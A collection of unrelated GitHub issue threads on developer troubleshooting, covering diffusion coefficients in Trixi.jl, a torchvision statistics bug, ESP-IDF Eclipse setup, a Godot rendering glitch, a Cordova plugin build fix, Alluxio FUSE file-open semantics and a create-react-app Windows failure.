transient scalar transport equation (diffusion and advection)

I have seen some examples(elixirs) of the advection and diffusion. ( this example: examples/tree_2d_dgsem/elixir_advection_diffusion_nonperiodic.jl). so what if the diffusion coefficient is a function fo the species concentration in the case of mass transfer? how we can implement a non-constant diffusion coeffient?
Thank you

Hi @sezerh24. This should be possible by creating a new type for your diffusivity and specializing the viscous flux function for your type. For example, for LaplaceDiffusion2D, the flux function is
https://github.com/trixi-framework/Trixi.jl/blob/7d92aaf3a6397beece80eb2f1d42e2d8b75fc2cb/src/equations/laplace_diffusion_2d.jl#L21-L28
If you specialize this to your new type, you can modify the flux function to make the diffusion coefficient non-constant and a function of your solution u.

We have something similar for Navier-Stokes as we support temperature-dependent viscosity e.g. via Sutherlands law, see here, here, and here.

Thank you very much.


How can I search the file name

Searching by file name works if we start typing from the beginning of the file name.
but an advanced search is needed. For example, if the file name is "abcdef1234.jpg", I should be able to find the file when I type "def12" in search.

@ibrdmz this depends on the file list API capabilities and not this particular SDK. So closing this one.
At the moment list API only supports search by full name or with a prefix, however, I have forwarded your request to the product development team.


Test Coverage and Build Status

Update Makefile to generate coverage data
Add Build Status and Coverage Badges to README

Now ready for review @mavenugo @mrjana

Updated based on @mrjana's comments

LGTM

LGTM


Error in mean and std computation in torchvision.models

📚 Documentation

Hello all,
Thanks for the fantastic library. I would like to point out an error in the mean and std computation in the torchvision.models page. In particular, I'm referring to the code following the line
"The process for obtaining the values of mean and std is roughly equivalent to:"
import torch
from torchvision import datasets, transforms as T

transform = T.Compose([T.Resize(256), T.CenterCrop(224), T.ToTensor()])
dataset = datasets.ImageNet(".", split="train", transform=transform)

means = []
stds = []
for img in subset(dataset):
    means.append(torch.mean(img))
    stds.append(torch.std(img)) # Bug here

mean = torch.mean(torch.tensor(means)) # Error here
std = torch.mean(torch.tensor(stds)) # Error here

There are two issues here:

torch.tensor(means) throws an error: ValueError: only one element tensors can be converted to Python scalars. It should be  torch.stack(means)
the mean of the standard deviations should rather be a mean of the variances, followed by square rooting it at the end.
Here is a version which fixes these:

import torch
from torchvision import datasets, transforms as T

transform = T.Compose([T.Resize(256), T.CenterCrop(224), T.ToTensor()])
dataset = datasets.ImageNet(".", split="train", transform=transform)

means = []
variances = []
for img in subset(dataset):
    means.append(torch.mean(img))
    variances.append(torch.std(img)**2)

mean = torch.mean(torch.stack(means), axis=0)
std = torch.sqrt(torch.mean(torch.stack(variances), axis=0))

I would argue further that since we are interested in the per-channel mean and std, we should first compute the mean across all images and then compute the std using this "batch mean" (whereas the current version uses the per-channel mean of the image). I have not run these on a large dataset, so I do not know how much of a difference this would make.
Thank you!

Hey @krishnap25,

* `torch.tensor(means)` throws an error

This is why I used the word "roughly" in the description. This is meant as pseudo-code on how this was computed. I'm okay with adding a torch.stack to make it executable.

the mean of the standard deviations should rather be a mean of the variances, followed by square rooting it at the end.

True, but nothing we can do about it. Unless you have the resources and are willing to offer them for free, retraining all the models to change this is not an option. Believe me, I tried to argue the same thing in #1439. You can find the script I used for figuring out which approach was most likely used here. I encourage you to try your (an objectively better) approach and see if the number change all that much. If that is the case and I don't believe that maybe we can reopen the discussion.
Still, the issue is not actionable. Thus, I'm closing it. Let me know if you have other questions about this.

Hey Philip, thanks for your response! Your investigations are interesting.
I came across this issue because tried computing the mean/std for a different dataset. Would it help to include a comment in the documentation for future users?

Sure, do you want to send a PR?


Add more assertions to SoftwareProcessEntityFeedRebindTest

LGTM, will merge after jenkins confirms.

Jenkins build successful - merging now.


CSS is broken

The CSS on the github.io site has been broken for a couple of days so I've been using https://plfa.inf.ed.ac.uk/Induction/ instead. Apparently that has now updated and the CSS is now broken there as well.

The CSS is fixed on https://plfa.github.io/, the inf.ed.ac.uk is a nightly build and as such will remain broken for another 18 or so hours.

I'm glad the issue is now resolved. I am enjoying reading this book.
But you said "since yesterday evening"; however, I first noticed the broken CSS approximately 4 days ago coinciding with this commit https://github.com/plfa/plfa.github.io/commit/42fe52c01a9ae3b26b4bdb87e9f301b6d9f8cf03. I had then immediately switched to using the pfla.inf.ed.ac.uk site, which continued to render correctly for the next 4 days until today.
I apologize for this seemingly pointless comment on a closed issue but I felt the need to defend the data I provided when I opened the issue.

It’s been on and off.


load_state / load_stateprovider have options now

Coverage decreased (-1.4%) to 71.096% when pulling 112defa2d53d74b73176ffb88ab96947453eca5f on loadmodelsfromopts into 4338f20c5c2f4779db55b9482386d746cbdd096c on master.

Coverage decreased (-1.4%) to 71.096% when pulling ce6ee4cfd67fccf2299743c05bf4de72afb9da68 on loadmodelsfromopts into 4338f20c5c2f4779db55b9482386d746cbdd096c on master.

Coverage decreased (-1.4%) to 71.096% when pulling 9848ea0f97d96b07c198476ef82908f008d6088e on loadmodelsfromopts into 4338f20c5c2f4779db55b9482386d746cbdd096c on master.


installing esp-idf: How do I install esp-idf using eclipse (Neon) in ubuntu 16.10 correctly?

Hi there,
if this is not the right place to ask, pls hint where to ask.
I followed the Linux Setup Guide on this site http://esp-idf.readthedocs.io/en/latest/linux-setup.html
(steps 1-4: ubuntu 16.10 64 bit).
Then I went over to this site http://esp-idf.readthedocs.io/en/latest/eclipse-setup.html
following the installation there.
Running a project in eclipse Neon, i got the following errors:
...
make: *** no rule found, ...l „/esp/myapp/build/include/config/auto.conf“, myapp C/C++ Problem
Program "xtensa-esp32-elf-gcc" not found in PATH myapp Project Properties, C++ Preprocessor Include.../Providers, [CDT Cross GCC Built-in Compiler Settings] options	C/C++ Scanner Discovery Problem
Symbol 'ESP_OK' could not be resolved	main.c	/myapp/main	line 11	Semantic Error
...
Any help is very welcome

Have you set $IDF_PATH and $PATH in your .profile and logoff/login or restart? or you can set this inside eclipse but for me its easier because this works also for command line make.

IDF_PATH is set to ~/esp/esp-idf
PATH is set to ~/esp/xtensa-esp32-elf and ~/esp/xtensa-esp32-elf/bin
PWD is set to ~/esp/myapp

Hi,
maybe this helps to set the needed Paths in eclipse:
https://esp32.com/viewtopic.php?f=2&t=1153
https://www.youtube.com/watch?v=bYh2w0HzS7s
but first check if its a eclipse or make error:
run "make" from commandline.
Dont know a way to run "make menuconfig", "make monitor" from eclipse so the commandline is your 2nd friend.
Tip: for make target "all" you can use i.e. "-j8 all" to run 8 parallel compiling processes if your cpu can do this.

Hi pcbreflux,
indeed, that helped a lot.
Thanks for that.
Now there are only two unresolved items left:
symbol 'cfg' cannot be resolved.
symbol 'CONFIG_FREERTOS_HZ' cannot be resolved.
Cheers

Hi,
while it is not need for compiling with command line make, for eclipse it's useful to put the following inside (maybe below #include ) all your project files using the config (i.e. freertos).
#include "sdkconfig.h"
this is also the reason why I include "//build/include" into C/C++ General -> Path and Symbols -> Gnu C as the first line.

That did the trick!
Everything is working fine now.
Thank you very much for you patience and your dedicated help.
Cheers!

i am using eclipse oxygen on windows and running an example code ble_spp_server  but i am facing an error at portTICK_PERIOD_MS   and it shows that symbol CONFIG_FREERTOS_HZ not resolved
while i included all necessary library in program like #include "sdkconfig.h"  #include "freertos/FreeRTOS.h"
#include "freertos/task.h"
please help me


Screen does not clear on changing scene

Godot version
v3.4.stable.official [206ba70f4]
System information
Windows 10, GLES 3, Intel(R) Core(TM) i5-1035G4 CPU @ 1.10GHz, 1498 Mhz, 4 Core(s), 8 Logical Processor(s)
Issue description
Screen doesn't clear on changing scenes. 2D only.

(Seen above: A ghost image of the previous scene)
Steps to reproduce
Make a 2D scene, add something easily recognisable, and make a new scene / or change scene. Should see above effect.
Minimal reproduction project
No response

@irishgreencitrus Please upload a minimal reproduction project to make this easier to troubleshoot.

@irishgreencitrus Please upload a minimal reproduction project to make this easier to troubleshoot.
Does the ghost scene go away if you pan the camera around or zoom in the 2D editor?
I'll upload a project as soon as as i can. The ghosting does not move (it looks like a broken background layer) but the grid in front of it does like normal.

Godot Issue #54972.zip

@irishgreencitrus Does this still occur if you uncheck Use Batching and Use Batching In Editor in the project settings, then restart the editor?

@irishgreencitrus Does this still occur if you uncheck Use Batching and Use Batching In Editor in the project settings, then restart the editor?

Unchecking Use Batching In Editor fixes the issue

It seems almost like something is not getting cleared in a buffer (at a guess), something in the 2d viewport but I'm not sure yet.
I can't seem to reproduce it on my machine, I'm also using Intel integrated GPU but on Linux. I wonder how common it is, not having heard reports of this before, can anyone else reproduce it?
Also does it occur in GLES2?

It seems almost like something is not getting cleared in a buffer (at a guess), something in the 2d viewport but I'm not sure yet - maybe a glClear is failing for some reason.
I can't seem to reproduce it on my machine, I'm also using Intel integrated GPU but on Linux. I wonder how common it is, not having heard reports of this before, can anyone else reproduce it?
Also does it occur in GLES2?

I've used linux before on this machine, but I haven't seen this behaviour as far as I remember.
It does not occur in GLES2

This is going to be difficult to track down .. when something occurs only on a user machine, one option is for you to run a GPU debugger, e.g. APITrace:
http://apitrace.github.io/#download
The idea is you capture a frame or series of frames in the debugger, then it enables you to replay it command by command. This should enable you to pinpoint the command that is resulting in drawing the icon, which can help us work out what is going on. Other than that, at this stage there are a lot of possibilities, including the possibility of a driver bug if it only occurs on your machine (still need more testing from anyone else that can try it).

trace.zip
Run the tracing program, however Godot seems to freeze when the bug occurs when tracing (I'm thinking possible memory leak or something?).
Let me know if you can get anything from this

The trace is loading! Which frame do you see the error on?

There's definitely something going wrong here. Loading up a 2D scene in the editor while its being traced, freezes the editor after a few seconds. Moving around in a 3D scene doesn't affect the tracer at all, and neither does moving around in a 2D scene with the GLES2 renderer. Definitely related to the bug.

It could possibly be related to the buffer orphaning, if you try some different options in rendering/2d/opengl and see if that affects it. But I'm not sure why that would make the icon sprite occur incorrectly in the wrong scene.
Aside from whether you can let me know a frame to examine, or a command that is causing a problem, it seems just guesswork, there is a lot of surface in GLES3, and it could be anything at this stage.

Going through rendering/2d/opengl

batching_send_null : Doesn't affect behavior
batching_stream : Doesn't affect behavior
legacy_orphan_buffers : Doesn't affect behavior
legacy_stream : Doesn't affect behavior

I've gone through some other categories too, just to see.

rendering/batching/options/single_rect_fallback : Doesn't affect behavior

The only two things that affect behavior are these:

rendering/batching/options/use_batching_in_editor : Fixes bug when off
rendering/quality/driver/driver_name : Fixes bug when set to GLES2

I've been trying to trace it several times, however it always freezes when this behavior occurs.

Unfortunately I can't immediately think of much else I can do to investigate it my side at the moment. Rendering bugs that aren't reproducible can be difficult to solve.
You may all the answers your side with the API trace program, as I say you just need to step through and find out which command is drawing the incorrect background with the sprites on in the wrong scene, and we can go from there, but it depends on your trying out the APITrace program and seeing how it works. It's pretty easy, it shows a bunch of frames (88 or so I think in your trace). You click replay trace from the menu, then double click on a frame and step through the commands and run it each time (maybe show thumbnails) until you see the incorrect sprites showing.
At a wild guess there might be a texture that contains the stale viewport I guess from the other scene (I'm not super familiar with how the editor draws the viewports). There may be a glClear command that is meant to clear it which is failing on your machine for some reason (maybe the frame buffer format or texture format is wrong, or the clear flags).
Other than that we can leave this open and see if anyone else can reproduce.

Hi, this happened to me too, I'm using windows 10 and happens on both GLES3 and GLES2, usually goes back to normal when I close Godot and reopen it. Unfortunately, I don't know enough about computers to provide much help beyond this.

Exact same CPU and integrated graphics as the OP? That is very coincidental (even with a sample size of 2 lol), and suggestive that this is related to driver / that CPU.
Be interesting to know whether the same bug occurs on this CPU when running linux, that might pin it down to windows driver.
(It doesn't mean for definite it is a bug their side of course, it could be something we are doing wrong that we are getting away with on other GPUs, but it could also be some rare pattern of usage that is triggering a bug on them).

probably because this is one of the available hardware configurations for the surface pro 7, so i assume @Xin-Weng has one too.

https://www.notebookcheck.net/Ice-Lake-issues-Microsoft-is-aware-that-the-Surface-Pro-7-is-currently-stuck-on-months-old-broken-graphics-drivers.443014.0.html
Could possibly even be old graphics drivers, I don't know how current they are on you guys systems.


cordova 8.0.0 "error: package com.datecs.api does not exist"

Provisional solution to solve error error: package com.datecs.api does not exist
mkdir -p platforms/android/cordova-plugin-datecs-printer

echo "repositories{ jcenter() flatDir{ dirs 'libs'} } dependencies { compile(name:'com.datecs.api', ext:'jar') } android { packagingOptions {exclude 'META-INF/NOTICE' exclude 'META-INF/LICENSE'}}" >> platforms/android/cordova-plugin-datecs-printer/app-datecsprinter.gradle

cp platforms/android/libs/com.datecs.api.jar platforms/android/app/libs/

sed -i 's#// PLUGIN GRADLE EXTENSIONS END#apply from: "../cordova-plugin-datecs-printer/app-datecsprinter.gradle"#g' platforms/android/cordova-plugin-datecs-printer/app-datecsprinter.gradle
Complete trace:
:app:compileReleaseJavaWithJavac/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/DatecsSDKWrapper.java:41: error: package com.datecs.api does not exist
import com.datecs.api.BuildInfo;
                     ^
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/DatecsSDKWrapper.java:42: error: package com.datecs.api.printer does not exist
import com.datecs.api.printer.ProtocolAdapter;
                             ^
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/Printer.java:3: error: package com.datecs.api.biometric does not exist
import com.datecs.api.biometric.TouchChip;
                               ^
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/DatecsSDKWrapper.java:47: error: cannot find symbol
    private ProtocolAdapter mProtocolAdapter;
            ^
  symbol:   class ProtocolAdapter
  location: class DatecsSDKWrapper
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/DatecsSDKWrapper.java:61: error: package ProtocolAdapter does not exist
    private final ProtocolAdapter.PrinterListener mChannelListener = new ProtocolAdapter.PrinterListener() {
                                 ^
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/Printer.java:1357: error: cannot find symbol
    public TouchChip getTouchChip() {
           ^
  symbol:   class TouchChip
  location: class Printer
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/DatecsSDKWrapper.java:61: error: package ProtocolAdapter does not exist
    private final ProtocolAdapter.PrinterListener mChannelListener = new ProtocolAdapter.PrinterListener() {
                                                                                ^
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/DatecsSDKWrapper.java:360: error: cannot find symbol
        mProtocolAdapter = new ProtocolAdapter(inputStream, outputStream);
                               ^
  symbol:   class ProtocolAdapter
  location: class DatecsSDKWrapper
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/DatecsSDKWrapper.java:364: error: package ProtocolAdapter does not exist
            final ProtocolAdapter.Channel channel = mProtocolAdapter.getChannel(ProtocolAdapter.CHANNEL_PRINTER);
                                 ^
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/DatecsSDKWrapper.java:364: error: cannot find symbol
            final ProtocolAdapter.Channel channel = mProtocolAdapter.getChannel(ProtocolAdapter.CHANNEL_PRINTER);
                                                                                ^
  symbol:   variable ProtocolAdapter
  location: class DatecsSDKWrapper
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/Printer.java:1358: error: cannot find symbol
        TouchChip instance = new TouchChip() {
        ^
  symbol:   class TouchChip
  location: class Printer
/home/apps/platforms/android/app/src/main/java/com/giorgiofellipe/datecsprinter/Printer.java:1358: error: cannot find symbol
        TouchChip instance = new TouchChip() {
                                 ^
  symbol:   class TouchChip
  location: class Printer
Note: Some input files use or override a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
Note: Some input files use unchecked or unsafe operations.
Note: Recompile with -Xlint:unchecked for details.
12 errors
 FAILED

FAILURE: Build failed with an exception.

* What went wrong:
Execution failed for task ':app:compileReleaseJavaWithJavac'.
> Compilation failed; see the compiler error output for details.

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output.

* Get more help at https://help.gradle.org

BUILD FAILED in 22s
cordova 8.0.0
gradle 4.9
cordova-plugin-datecs-printer 0.8.2
android sdk 26.0.3
android sdk tools 4333796
node 8.9.0

Should be working on version 0.8.3.


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.
If you'd like for me to do this for you, comment TagBot fix on this issue.
I'll open a PR within a few hours, please be patient!

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/83083

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/84262

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/84447

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/84702

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/85829

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/85889

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/85965

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/85967

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/85972

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/86728

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/110748

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.


Take a look at helm-docs

I'd like to take a look at Helm Docs more which the Argo Project pointed me at:
https://github.com/norwoodj/helm-docs

This look like something the project could benefit a lot from.


alluxio fuse delete file unexpectedly in open function

Alluxio Version:
2.7.2
Describe the bug
alluxio fuse  not correctly deal with open flags O_RDONLY、O_WRONLY、O_RDWR，which will delete file unexpectely.
To Reproduce
the below code open file with O_WRONLY, which will not delete exist file in linux，however in alluxio fuse, it will delete the file,
we should delete the file only if user specify O_TRUNC flag.
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include<stdio.h>
int main()
{
int fd, size;
char s[] = "Linux Programmer!\n";
char buffer[80];
char txt[] = "mnt/test.txt";
fd = open(txt, O_WRONLY|O_CREAT, 644);
if (fd < 0) {
printf("failed to open file, fd:%d", fd);
return -1;
}
int len = sizeof(s);
printf("len:%d\n", len);
int ret = write(fd, s, len);
if (ret < 0) {
printf("failed to write data, ret:%d", ret);
return ret;
}
close(fd);
}
Expected behavior
we should delete the file only if user specify O_TRUNC flag.
Urgency
middle level urgency
Are you planning to fix it
To avoid file was wrongly deleted, i'm planning to remove the exist file only if user specify O_TRUNC flag

@LuQQiu

@LuQQiu ,the fixed pr is https://github.com/Alluxio/alluxio/pull/14897

@liuyongqing
Alluxio internally does not support file overwriting or file appending.
I tested the script, looks like

when test.txt already exist
the script will open with flag 0x8001 write only
Alluxio will delete the existing file and create a new one, write the content
[alluxio@ProcessLocalRead-worker-0 alluxio-standalone-fuse-read]$ cat test.txt
Linux Programmer!

2022-01-24 19:41:55,540 DEBUG AlluxioJniFuseFileSystem - Open path /test.txt with flags 0x8001 for overwriting. Alluxio deleted the old file and created a new file for writing
2022-01-24 19:41:55,540 DEBUG AlluxioJniFuseFileSystem - Exit (0): Fuse.open(path=/test.txt,flags=0x8001) in 41 ms
2022-01-24 19:41:55,540 DEBUG AlluxioJniFuseFileSystem - Enter: Fuse.Write(path=/test.txt,buf=java.nio.DirectByteBuffer[pos=0 lim=19 cap=19],size=19,offset=0)

Linux system will not delete the existing file because it supports file overwriting

@liuyongqing what's the fuse behavior you want? error out directly when the file exists and open with Write flag?

@LuQQiu ，the following open test, it will not delete the exist file in linux, hower it will delete exist file in alluxio fuse, we can delete the exist file except we specify flag  O_WRONLY|O_TRUNC
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
main()
{
int fd, size;
char s[] = "Linux Programmer!\n", buffer[80];
fd = open("/tmp/temp", O_WRONLY);
write(fd, s, sizeof(s));
close(fd);
fd = open("/tmp/temp", O_RDONLY);
size = read(fd, buffer, sizeof(buffer));
close(fd);
printf("%s", buffer);
}

further more, i think we treat O_RDWR is complicated in current alluxio 2.7 branch，which defer the input/output stream to first read to write; because alluxio can't read or write for same fd, consider the following process:

O_RDONLY，we should record an input stream for read
O_WRONLY，if no O_TRUNC specify, should report error, because we can't rewrite part to content; if specify, we can delete exist file, and record a outputstream
O_RDWR ，if no O_TRUNC, and file exist we should downgrade to read mode; if specify O_TRUNC, we can delete exist file, and record a outputstream.

the following is an overwrite cp strace:

for open trunc case, could refer:
https://github.com/Alluxio/alluxio/pull/14897
https://github.com/s3fs-fuse/s3fs-fuse/blob/master/src/s3fs.cpp(function s3fs_open)

@liuyongqing Thanks for the detailed information! Will modify the current open logics

Thanks a lot @liuyongqing
Basically we
if (READONLY & TRUNCATE) {
	return -EACESS
}
if (TRUNCATE && file exist) {
   // DELETE FILE
}
wait for file completed or error out
if (READONLY || (READ_WRITE && file exists)) {
  OPEN FILE_IN_STREAM
} else {
 OPEN_FILE_OUT_STREAM
}

in this case, we don't need to defer READ_WRITE to first read() or write()
The code is much more correct and clean, appreciate your help and wonderful suggestions!

@maobaolong FYI


1.20.1 backport?

Looking to add this to a server of mine.

Backport of HIDE 1.2 for 1.20.1 - https://modrinth.com/mod/hide/version/xnqY8YQc


Defining modbus ID for rover device in request program

Hi
how to define modbus id for
server connection in request program?
in rover there is a modbus id which can be changed
Thanks T

The rover's modbus ID does not have anything to do with the configuration server. Let's take this base.json:
{
  "type": "request",
  "source": "default",
  "fragment": 2,
  "unique": 30,
  "databases": [ ],
  "request": [
    {
      "type": "modbus",
      "io": "config/rover_serial.json",
      "devices": {
        "1": {
          "type": "rover"
        }
      }
    }
  ]
}

In the above configuration, the Modbus address of the rover is 1, as defined by "1". You can view the documentation here  for finding the modbus address and here for rover configuration.
Once you have that working, you can utilize the configuration server like described in its documentation. You can have a single configuration server for each device. In no circumstance that I know of should you have multiple devices per serial configuration unless you are using some sort of multiplexer, which is unlikely.
TDLR: You don't need to specify a modbus ID for the connection server, as it is implied by the already configured modbus ID that you are configuring the server for.
Hopefully that answered your question. If you intend to monitor multiple rover devices, then that's a separate answer, but it didn't sound like that's something you were doing.

Hi
thanks
if I understand correct, I need this config
as modbus ID is now 17 changed after BT-2 was connected to the controller. Identified by your marvelous scanning program.
I only have request program running at the moment.
TDLR: You don't need to specify a modbus ID for the connection server, as it is implied by the already configured modbus ID that you are configuring the server for.
do not understand this part as there is nothing already defined, only in separate rover program, which I stopped using . What do you mean by already defined so?
so I think I need to adjust modbus id here?
      "devices": {         "**17**": {           "type": "rover"         }
Looks like this is working, nc is answering correct.
Thanks

Yup. That 17 you put there defines the modbus address for requesting data and for the configuration server.
The way you worded your question made it sound like you thought you had to define a modbus ID specifically for the configuration server feature, but it sounds like you understand it now and have it working.

I'm closing this issue now. Feel free to reopen if you still need help.


By default are the instrumented class files used in the war creation or is there somehow a set of non-instrumented class files

I am unsure on how to tell if a class file has been instrumented when looking at it.

Seems like the plugin makes copies of the classes before recompiling with the instrumentation.  While the clover instrumentation is occurring you can see the subdirectories under classes are renamed to x-bak and presumably when the clover reporting finishes they are renamed back.  My thought is that the war is not containing the instrumented classes and the workflow is correct.

Yes, during testing we temporarily move aside the default compiled classes, instrument all classes and test classes, run unit tests, move back the default compiled classes.
When using the project property that enables the creation of instrumented JAR/WAR files we skip the step that moves the default compiled classes back and make the jar/war tasks run after the test tasks.
As per the documentation this mode is not appropriate for use when building release artifacts. I have not found a better way to generate instrumented JAR/WAR files, it would take a lot of guesswork on the part of the plugin to do something like this.
Ideally an extension could be added which would make the instrumented classes available in an additional output location and then the consumers would create alternate jar/war tasks to assemble instrumented JAR/WAR artifacts.


Running create-react-app on Windows: Error: Cannot find module package.json

Description
I've installed create-react-app and have been trying to create new apps, but it never succeeds.
Expected behavior
Creates the app.
Actual behavior
See the log below, running create-react-app asdf fails with this message:
Error: Cannot find module 'C:\temp\asdf\node_modules\react-scripts\package.json
Also, I see this warning message where C:\Users\thatodieguy is my Windows home folder.  And running the create-react-app script creates a node_modules in my windows home folder. This seems rather odd.
npm WARN saveError ENOENT: no such file or directory, open 'C:\Users\thatodieguy\package.json'
I've tried the following:

npm cache clean,
Removed all instances of node & npm from my path variables. Uninstalled node, deleted the nodejs in program files and app roaming. Re-installed node and updated npm.
While create-react-app is running, copying the node-modules from my home folder into the C:\temp\asdf folder.. this gets us a little further. But then I get the error message Missing dependencies in package.json
Tried an older version using create-react-app --scripts-version 0.8.2 asdf

It seems to me that the script is using my Windows home folder as the project root for some reason.
Environment
Run these commands in the project folder and fill in their results:

npm ls react-scripts (if you haven’t ejected<EMAIL_ADDRESS>node -v: v6.10.1
npm -v: 4.5.0
Operating system: Windows 10

C:\temp>create-react-app asdf
Creating a new React app in C:\temp\asdf.

Installing packages. This might take a couple minutes.

Aborting installation.
Unexpected error. Please report it as a bug:
{ Error: Cannot find module 'C:\temp\asdf\node_modules\react-scripts\package.json'
    at Function.Module._resolveFilename (module.js:469:15)
    at Function.Module._load (module.js:417:25)
    at Module.require (module.js:497:17)
    at require (internal/module.js:20:19)
    at checkNodeVersion (C:\Users\thatodieguy\AppData\Roaming\npm\node_modules\create-react-app\index.js:401:21)
    at C:\Users\thatodieguy\AppData\Roaming\npm\node_modules\create-react-app\index.js:235:7
    at process._tickCallback (internal/process/next_tick.js:109:7) code: 'MODULE_NOT_FOUND' }

Deleting generated file... package.json
Deleting asdf/ from C:\temp
Done.

C:\temp>

This is weird. Can you try installing Yarn and then running Create React App again? I don't understand why npm acts weird, but maybe Yarn doesn't suffer from the same issue.

Still no go there. I globally uninstalled create-react-app and react-scripts using npm. Verified create-react-app no longer existed. Then installed Yarn v0.21.3. Installed via yarn global add create-react-app and tried again. Same issue persists.
Although, now that yarn is installed, isn't create-react-app supposed to be using that? I don't see a yarn.lock file get created. And tt looks like it is still using npm:
C:\temp>create-react-app asdf --verbose
Creating a new React app in C:\temp\asdf.

Installing packages. This might take a couple minutes.
Installing react, react-dom, and react-scripts...

npm info it worked if it ends with ok
npm verb cli [ 'C:\\Program Files\\nodejs\\node.exe',
npm verb cli   'C:\\Users\\thatodieguy\\AppData\\Roaming\\npm\\node_modules\\npm\\bin\\npm-cli.js',
npm verb cli   'install',
npm verb cli   '--save',
npm verb cli   '--save-exact',
npm verb cli   'react',
npm verb cli   'react-dom',
npm verb cli   'react-scripts',
npm verb cli   '--verbose' ]
npm info using<EMAIL_ADDRESS>npm info using<EMAIL_ADDRESS>npm verb config Skipping project config: C:\Users\thatodieguy/.npmrc. (matches userconfig)
...

Yes, it should be using yarn when available. Does running yarn --version from the terminal work for you?

Also, what is C:\Users\thatodieguy/.npmrc? Does this file really exist?

yarn --version = 0.21.3
So yarn is installed and on the path.
.npmrc does not exist. I deleted it yesterday. It existed for a brief moment while I was trying to debug this issue, it had prefix=c:\program files\nodejs inside of it. But it's gone now.
To test yarn further I removed npm from the path, and create-react-app errors like this:
C:\temp>create-react-app asdf
Creating a new React app in C:\temp\asdf.

Installing packages. This might take a couple minutes.
Installing react, react-dom, and react-scripts...

'npm' is not recognized as an internal or external command,
operable program or batch file.
The system cannot find the path specified.

Aborting installation.
  npm install --save --save-exact react react-dom react-scripts has failed.

Deleting generated file... package.json
Deleting asdf/ from C:\temp
Done.

Seems like you have your PATH setup incorrectly -- you shouldn't be touching it.
Can you fully uninstall node, reboot, install node, install yarn (with installer, not npm), reboot again, and then try it?

Oops. Looks like this was all my fault. I have a script setup in the registry to run on new command prompts. HKLM\Software\Microsoft\Command Processor\AutoRun=[script path]
I use it like a .bash_profile to setup aliases and such. But... for whatever reason, I had this line in my script:
@cd %HOMEDRIVE%\%HOMEPATH%
So I'll assume that create-react-app is forking off a new command processor, which ran this script, which landed it in my home folder for half the processing. I've removed that line and create-react-app works now. Sorry for my weird setup and thanks for your help in debugging this.

Sounds good! Happy you got it resolved.

This is interesting, thank you for sharing the solution.


⚠ Bofrost.de has degraded performance

In 94a3081, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1137 ms

Resolved: Bofrost.de performance has improved in de3dde7 after 6 minutes.


End-to-end tagging 0: TODO

Nuh-uh, go away, I am merely here to make good use of my hard earned CI credits.

@rerun-bot full-check


Update README.md

Google Sheets API Integration with Node JS, Express, JavaScript, MongoDB

[ ] My code follows the code style of this project.
[ ] I have updated the documentation accordingly.
[ ] I have read the CONTRIBUTING document.
[ ] I have made checks to ensure URLs and other resources are valid

Not a project, it's a tutorial.


use blendshapes instead of vertices

Hi EvelynFan
This is an interesting work for me. I want to know if i have 101 blendshapes , In the trainging i can use the blendshapes instead of the vertices?

